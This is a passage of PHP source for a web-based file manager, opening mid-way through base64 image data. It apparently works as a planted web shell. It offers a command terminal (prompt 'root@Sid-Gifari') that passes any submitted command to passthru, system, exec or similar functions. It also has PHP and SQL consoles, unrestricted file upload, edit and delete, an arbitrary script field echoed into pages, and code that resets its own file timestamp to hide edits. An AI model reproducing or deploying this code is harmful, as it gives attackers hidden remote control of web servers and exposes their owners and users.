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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
